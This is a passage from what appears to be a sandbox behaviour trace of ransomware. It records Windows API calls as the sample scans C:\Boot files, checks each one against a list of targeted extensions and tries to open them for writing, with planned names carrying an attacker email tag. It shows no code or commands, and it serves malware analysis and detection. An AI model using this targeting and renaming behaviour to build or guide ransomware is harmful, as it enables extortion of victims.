dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.398] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=0) returned 1 [0159.398] CloseHandle (hObject=0x374) returned 1 [0159.398] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.398] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.398] lstrlenW (lpString=".doc") returned 4 [0159.398] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0159.398] lstrlenW (lpString=".docx") returned 5 [0159.398] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0159.398] lstrlenW (lpString=".pdf") returned 4 [0159.398] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0159.398] lstrlenW (lpString=".xls") returned 4 [0159.398] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0159.398] lstrlenW (lpString=".xlsx") returned 5 [0159.398] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0159.398] lstrlenW (lpString=".ppt") returned 4 [0159.398] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0159.398] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.398] lstrlenW (lpString=".zip") returned 4 [0159.398] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0159.398] lstrlenW (lpString=".rar") returned 4 [0159.398] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0159.398] lstrlenW (lpString=".bz2") returned 4 [0159.398] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0159.398] lstrlenW (lpString=".7z") returned 3 [0159.398] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0159.399] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.399] lstrlenW (lpString=".dbf") returned 4 [0159.399] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.399] lstrlenW (lpString=".1cd") returned 4 [0159.399] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.399] lstrlenW (lpString=".jpg") returned 4 [0159.399] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.399] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.399] lstrlenW (lpString=".doc") returned 4 [0159.399] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString=".docx") returned 5 [0159.399] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0159.399] lstrlenW (lpString=".pdf") returned 4 [0159.399] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString=".xls") returned 4 [0159.399] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString=".xlsx") returned 5 [0159.399] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0159.399] lstrlenW (lpString=".ppt") returned 4 [0159.399] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.399] lstrlenW (lpString=".zip") returned 4 [0159.399] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString=".rar") returned 4 [0159.399] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0159.399] lstrlenW (lpString=".bz2") returned 4 [0159.400] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0159.400] lstrlenW (lpString=".7z") returned 3 [0159.400] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0159.400] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.400] lstrlenW (lpString=".dbf") returned 4 [0159.400] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0159.400] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.400] lstrlenW (lpString=".1cd") returned 4 [0159.400] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0159.400] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0159.400] lstrlenW (lpString=".jpg") returned 4 [0159.400] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0159.400] lstrcmpiW (lpString1=".dll", lpString2=".save") returned -1 [0159.400] lstrlenW (lpString="bootvhd.dll") returned 11 [0159.400] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.400] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=99744) returned 1 [0159.401] CloseHandle (hObject=0x374) returned 1 [0159.401] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0159.401] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.401] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.401] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.401] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.401] lstrlenW (lpString=".doc") returned 4 [0159.401] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.401] lstrlenW (lpString=".docx") returned 5 [0159.401] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0159.401] lstrlenW (lpString=".pdf") returned 4 [0159.401] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.401] lstrlenW (lpString=".xls") returned 4 [0159.401] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.401] lstrlenW (lpString=".xlsx") returned 5 [0159.401] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0159.401] lstrlenW (lpString=".ppt") returned 4 [0159.401] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.401] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.401] lstrlenW (lpString=".zip") returned 4 [0159.401] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.401] lstrlenW (lpString=".rar") returned 4 [0159.401] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.402] lstrlenW (lpString=".bz2") returned 4 [0159.402] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.402] lstrlenW (lpString=".7z") returned 3 [0159.402] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.402] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.402] lstrlenW (lpString=".dbf") returned 4 [0159.402] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.402] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.402] lstrlenW (lpString=".1cd") returned 4 [0159.402] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.402] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.402] lstrlenW (lpString=".jpg") returned 4 [0159.402] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.402] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.402] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.402] lstrlenW (lpString=".doc") returned 4 [0159.402] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0159.402] lstrlenW (lpString=".docx") returned 5 [0159.402] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0159.402] lstrlenW (lpString=".pdf") returned 4 [0159.402] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0159.402] lstrlenW (lpString=".xls") returned 4 [0159.402] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0159.402] lstrlenW (lpString=".xlsx") returned 5 [0159.402] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0159.402] lstrlenW (lpString=".ppt") returned 4 [0159.402] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0159.402] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.402] lstrlenW (lpString=".zip") returned 4 [0159.403] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0159.403] lstrlenW (lpString=".rar") returned 4 [0159.403] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0159.403] lstrlenW (lpString=".bz2") returned 4 [0159.403] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0159.403] lstrlenW (lpString=".7z") returned 3 [0159.403] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0159.403] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.403] lstrlenW (lpString=".dbf") returned 4 [0159.403] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0159.403] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.403] lstrlenW (lpString=".1cd") returned 4 [0159.403] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0159.403] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0159.403] lstrlenW (lpString=".jpg") returned 4 [0159.403] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0159.403] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.403] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0159.403] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.404] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=76632) returned 1 [0159.404] CloseHandle (hObject=0x374) returned 1 [0159.404] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0159.404] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.404] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.404] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.404] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.404] lstrlenW (lpString=".doc") returned 4 [0159.404] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.404] lstrlenW (lpString=".docx") returned 5 [0159.404] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.404] lstrlenW (lpString=".pdf") returned 4 [0159.404] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.404] lstrlenW (lpString=".xls") returned 4 [0159.404] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.404] lstrlenW (lpString=".xlsx") returned 5 [0159.404] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.404] lstrlenW (lpString=".ppt") returned 4 [0159.404] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.404] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.404] lstrlenW (lpString=".zip") returned 4 [0159.404] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.405] lstrlenW (lpString=".rar") returned 4 [0159.405] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.405] lstrlenW (lpString=".bz2") returned 4 [0159.405] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.405] lstrlenW (lpString=".7z") returned 3 [0159.405] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.405] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.405] lstrlenW (lpString=".dbf") returned 4 [0159.405] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.405] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.405] lstrlenW (lpString=".1cd") returned 4 [0159.405] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.405] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.405] lstrlenW (lpString=".jpg") returned 4 [0159.405] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.405] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.405] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.405] lstrlenW (lpString=".doc") returned 4 [0159.405] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.405] lstrlenW (lpString=".docx") returned 5 [0159.405] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.405] lstrlenW (lpString=".pdf") returned 4 [0159.405] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.405] lstrlenW (lpString=".xls") returned 4 [0159.406] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.406] lstrlenW (lpString=".xlsx") returned 5 [0159.406] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.406] lstrlenW (lpString=".ppt") returned 4 [0159.406] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.406] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.406] lstrlenW (lpString=".zip") returned 4 [0159.406] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.406] lstrlenW (lpString=".rar") returned 4 [0159.406] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.406] lstrlenW (lpString=".bz2") returned 4 [0159.406] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.406] lstrlenW (lpString=".7z") returned 3 [0159.406] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.406] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.406] lstrlenW (lpString=".dbf") returned 4 [0159.406] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.406] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.406] lstrlenW (lpString=".1cd") returned 4 [0159.406] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.406] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0159.406] lstrlenW (lpString=".jpg") returned 4 [0159.406] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.406] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.406] lstrlenW (lpString="memtest.exe.mui") returned 15 [0159.406] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.407] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=45472) returned 1 [0159.407] CloseHandle (hObject=0x374) returned 1 [0159.407] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0159.407] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.407] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.407] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.407] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.407] lstrlenW (lpString=".doc") returned 4 [0159.407] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.407] lstrlenW (lpString=".docx") returned 5 [0159.407] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.407] lstrlenW (lpString=".pdf") returned 4 [0159.407] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.407] lstrlenW (lpString=".xls") returned 4 [0159.407] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.408] lstrlenW (lpString=".xlsx") returned 5 [0159.408] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.408] lstrlenW (lpString=".ppt") returned 4 [0159.408] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.408] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.408] lstrlenW (lpString=".zip") returned 4 [0159.408] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.408] lstrlenW (lpString=".rar") returned 4 [0159.408] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.408] lstrlenW (lpString=".bz2") returned 4 [0159.408] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.408] lstrlenW (lpString=".7z") returned 3 [0159.408] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.408] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.408] lstrlenW (lpString=".dbf") returned 4 [0159.408] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.408] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.408] lstrlenW (lpString=".1cd") returned 4 [0159.408] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.408] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.408] lstrlenW (lpString=".jpg") returned 4 [0159.408] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.408] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.408] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.408] lstrlenW (lpString=".doc") returned 4 [0159.408] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.408] lstrlenW (lpString=".docx") returned 5 [0159.408] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.408] lstrlenW (lpString=".pdf") returned 4 [0159.408] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.408] lstrlenW (lpString=".xls") returned 4 [0159.408] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.408] lstrlenW (lpString=".xlsx") returned 5 [0159.409] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.409] lstrlenW (lpString=".ppt") returned 4 [0159.409] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.409] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.409] lstrlenW (lpString=".zip") returned 4 [0159.409] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.409] lstrlenW (lpString=".rar") returned 4 [0159.409] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.409] lstrlenW (lpString=".bz2") returned 4 [0159.409] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.409] lstrlenW (lpString=".7z") returned 3 [0159.409] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.409] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.409] lstrlenW (lpString=".dbf") returned 4 [0159.409] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.409] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.409] lstrlenW (lpString=".1cd") returned 4 [0159.409] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.409] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0159.409] lstrlenW (lpString=".jpg") returned 4 [0159.409] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.409] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.409] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0159.409] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.410] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=75616) returned 1 [0159.410] CloseHandle (hObject=0x374) returned 1 [0159.410] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0159.410] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.410] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.410] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.410] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.410] lstrlenW (lpString=".doc") returned 4 [0159.410] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.410] lstrlenW (lpString=".docx") returned 5 [0159.410] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.410] lstrlenW (lpString=".pdf") returned 4 [0159.410] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.410] lstrlenW (lpString=".xls") returned 4 [0159.410] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.410] lstrlenW (lpString=".xlsx") returned 5 [0159.410] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.410] lstrlenW (lpString=".ppt") returned 4 [0159.410] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.410] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.411] lstrlenW (lpString=".zip") returned 4 [0159.411] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.411] lstrlenW (lpString=".rar") returned 4 [0159.411] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.411] lstrlenW (lpString=".bz2") returned 4 [0159.411] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.411] lstrlenW (lpString=".7z") returned 3 [0159.411] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.411] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.411] lstrlenW (lpString=".dbf") returned 4 [0159.411] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.411] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.411] lstrlenW (lpString=".1cd") returned 4 [0159.411] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.411] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.411] lstrlenW (lpString=".jpg") returned 4 [0159.411] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.411] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.411] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.411] lstrlenW (lpString=".doc") returned 4 [0159.411] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0159.411] lstrlenW (lpString=".docx") returned 5 [0159.411] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0159.411] lstrlenW (lpString=".pdf") returned 4 [0159.411] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0159.411] lstrlenW (lpString=".xls") returned 4 [0159.411] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0159.411] lstrlenW (lpString=".xlsx") returned 5 [0159.411] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0159.411] lstrlenW (lpString=".ppt") returned 4 [0159.412] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0159.412] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.412] lstrlenW (lpString=".zip") returned 4 [0159.412] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0159.412] lstrlenW (lpString=".rar") returned 4 [0159.412] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0159.412] lstrlenW (lpString=".bz2") returned 4 [0159.412] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0159.412] lstrlenW (lpString=".7z") returned 3 [0159.412] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0159.412] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.412] lstrlenW (lpString=".dbf") returned 4 [0159.412] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0159.412] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.412] lstrlenW (lpString=".1cd") returned 4 [0159.412] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0159.412] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0159.412] lstrlenW (lpString=".jpg") returned 4 [0159.412] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0159.412] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0159.412] lstrlenW (lpString="memtest.exe.mui") returned 15 [0159.412] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0159.413] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=45472) returned 1 [0159.413] CloseHandle (hObject=0x374) returned 1 [0159.413] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui")) returned 0x20 [0159.413] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0159.413] CreateFileW (lpFileName="C:\\Boot\\da-DK\\memtest.exe.mui" (normalized: "c:\\boot\\da-dk\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0159.413] lstrlenW 